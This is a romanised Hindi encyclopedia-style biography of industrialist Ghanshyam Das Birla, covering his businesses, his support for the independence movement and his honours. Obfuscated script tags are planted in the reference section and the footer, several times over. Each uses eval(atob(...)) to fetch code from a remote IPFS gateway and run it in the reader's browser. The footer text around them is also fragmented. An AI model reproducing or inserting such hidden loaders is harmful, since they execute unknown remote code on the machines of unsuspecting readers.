घनश्याम दास बिड़ला

ghanashyam das bi dala
Ghanshyam Das Birla|thumb|200px ghanashyam das bi dala (janm-1894, pilani, rajasthan, bharat, mrityu.- 1983, muanbee) bharat ke agrani audyogik samooh bi. ke. ke. em. bi dala samooh ke sansthapak the, jisaki parisanpattiyaan 195 arab rupaye se adhik hai. ye svadhinata senani bhi the. is samooh ka mukhy vyavasay kap da, viskat filameant yarn, simeant, rasayanik padarth, bijali, urvarak, doorasanchar, vittiy seva aur elyuminiyam kshetr mean hai, jabaki agrani kanpaniyaan 'grasim iandastrij' aur 'seanchuri teksatail' haian.

parichay

ek sthaniy guru se aankaganit tatha hindi ki aranbhik shiksha prapt karane ke bad apane pita bi. di. bi dala ki prerana v sahayog se ghanashyam das bi dala ne kalakatta (vartaman kolakata) mean vyapar jagat mean pravesh kiya. 1912 mean kishoravastha mean hi ghanashyam das bi dala ne apane sasur em. somani ki madad se dalali ka vyavasay shuroo kar diya. 1918 mean ghanashyam das bi dala ne ‘bi dala bradars’ ki sthapana ki. kuchh hi samay bad ghanashyam das bi dala ne dilli ki ek purani kap da mil kharid li, udyogapati ke roop mean yah ghanashyam das bi dala ka pahala anubhav tha. 1919 mean ghanashyam das bi dala ne joot udyog mean bhi qadam rakha. 1921 mean gvaliyar mean kap da mil ki sthapana ki aur 1923 se 1924 mean unhoanne kesoram k aautan mils kharid li. ye 1928 ee. mean pooanjipati sangathan ‘bharatiy vanijy udyog mahamandal’ ke adhyaksh bane. bi dala parivar ka vansh vriksh|thumb

audyogik samrajy

30 varsh ki ayu tak pahuanchane tak ghanashyam das bi dala ka audyogik samrajy apani j de jama chuka tha. bi dala ek sv-nirmit vyakti the aur apani sachcharitrata tatha eemanadari ke liye vikhyat the.

svatantrata andolan

ghanashyam das bi dala ek sachche svadeshi aur svatantrata aandolan ke kattar samarthak the tatha mahatma gaandhi ki gatividhiyoan ke lie dhan upalabdh karane ke liye tatpar rahate the. inhoanne pooanjipatiyoan se rashtriy andolan ka samarthan karane evan kaangres ke hath majaboot karane ki apil ki. inhoanne savinajn avajna andolan ka samarthan kiya. inhoanne rashtriy andolan ke lie arthik sahayata di. inhoanne samajik kuritiyoan ka bhi virodh kiya tatha 1932 ee. mean harijan sevak sangh ke adhyaksh bane.^[1]

bi dala udyog samooh

ye bi dala samooh ke pramukh tatha bharat ke agrani udyogapatiyoan mean the. bi dala udyog samooh jisaka netrivy unake bete kar rahe haian, isaka vyapar dakshin-poorvi eshiya aur aphrika mean bhi phaila hua hai. inhoanne anek vaijnanik, dharmik, shaikshanik tatha audyogik sansthaoan ki sthapana ki.

puraskar

1967 ee. mean inhean padm vibhooshan se alankrit kiya gaya.

nidhan

ghanashyam das bi dala ka nidhan joon, 1983 ee. hua tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ nagori, d aau. es.el. “khand 3”, svatantrata senani kosh (gaandhiyugin), 2011 (hindi), bharatadiskavari pustakalay: gitaanjali prakashan, jayapur, prishth san 129.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] ri, d aau. es.el. “khand 3”, svatantrata senani kosh (gaandhiyugin), 2011 (hindi), bharatadiskavari pustakalay: gitaanjali prakashan, jayapur, prishth san 129.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]